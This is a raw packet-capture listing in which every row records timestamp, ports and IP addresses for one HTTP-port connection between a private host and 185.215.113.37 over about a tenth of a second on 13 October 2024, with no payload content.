Oct 13, 2024 11:54:12.536451101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.536488056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.536489964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.536520004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.536573887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.536623955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.536657095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.536704063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.536710978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.536710978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.536710978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.536710978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.536710978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.536711931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.536742926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.536758900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.536794901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.536801100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.536828995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.536854982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.536873102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.536894083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.536906004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.536931992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.536942959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.536962986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.536977053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.536999941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537009954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537040949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537044048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537060976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537077904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537101030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537111998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537138939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537146091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537164927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537180901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537204027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537214041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537241936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537249088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537265062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537281990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537305117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537316084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537336111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537370920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537377119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537406921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537431955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537440062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537467003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537477016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537496090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537511110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537532091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537544012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537569046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537579060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537601948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537614107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537641048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537647963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537669897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537683010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537704945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537715912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537744045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537751913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537772894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537786007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537813902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537822008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537844896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537863016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537878036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537900925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537923098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.537946939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.537952900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538000107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538006067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538033009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538059950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538083076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538084030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538117886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538142920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538168907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538171053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538219929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538224936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538254023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538275003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538288116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538315058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538327932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538350105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538382053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538387060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538417101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538438082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538450003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538471937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538484097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538507938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538517952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538542032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538568974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538572073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538604975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538625956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538638115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538665056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538671970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538688898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538706064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538729906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538741112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538757086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538774967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538796902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538825035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538830996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538877010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538883924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538912058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538934946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538945913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538969040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.538980007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.538997889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539016008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539036036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539048910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539074898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539083004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539110899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539117098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539134979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539151907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539175987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539184093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539211035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539218903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539242029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539253950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539284945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539287090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539307117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539319992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539343119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539352894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539376974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539414883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539416075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539454937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539473057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539491892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539514065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539525986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539550066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539561987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539581060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539597034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539617062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539629936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539653063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539664030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539691925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539696932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539715052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539731026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539755106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539763927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539796114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539797068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539818048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539832115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539849997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539865971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539894104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539895058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539928913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539928913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539951086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539967060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.539988995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.539999962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.540024996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.540034056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.540054083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.540069103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.540088892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.540102959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.540122986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.540168047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.540586948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.540642023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.540649891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.540682077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.540698051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.540734053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.540738106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.540767908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.540792942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.540803909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.540824890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.540837049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.540860891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.540870905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.540889978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.540925980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.628360033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.628426075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.628460884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.628463984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.628494024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.628505945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.628506899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.628531933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.628550053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.628566027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.628587961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.628601074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.628624916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.628633022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.628662109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.628669024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.628690004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.628701925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.628742933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.628756046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.628768921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.628788948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.628817081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.628843069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.628854036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.628874063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.628905058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.628906012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.628928900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.628942013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.628967047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.628972054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.628998995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629021883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629026890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629084110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629084110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629116058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629143000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629165888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629177094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629218102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629223108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629267931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629278898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629301071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629327059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629336119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629360914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629369020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629398108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629420042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629446030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629451036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629484892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629484892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629506111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629518986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629554987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629575014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629596949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629609108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629621029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629642963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629662991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629690886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629700899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629724979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629760027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629761934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629784107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629795074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629818916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629836082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629848003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629870892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629903078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629920006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629920959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629956007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.629978895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.629987001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630017042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630022049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630039930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630054951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630079031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630086899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630114079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630120039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630151033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630155087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630172968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630187988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630209923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630219936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630244017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630251884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630280972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630286932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630304098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630320072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630342960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630357027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630383015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630393982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630407095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630429029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630461931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630464077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630485058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630496979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630518913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630531073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630553007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630582094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:12.630590916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:12.630630016 CEST	80	49730	185.215.113.37	192.168.2.4
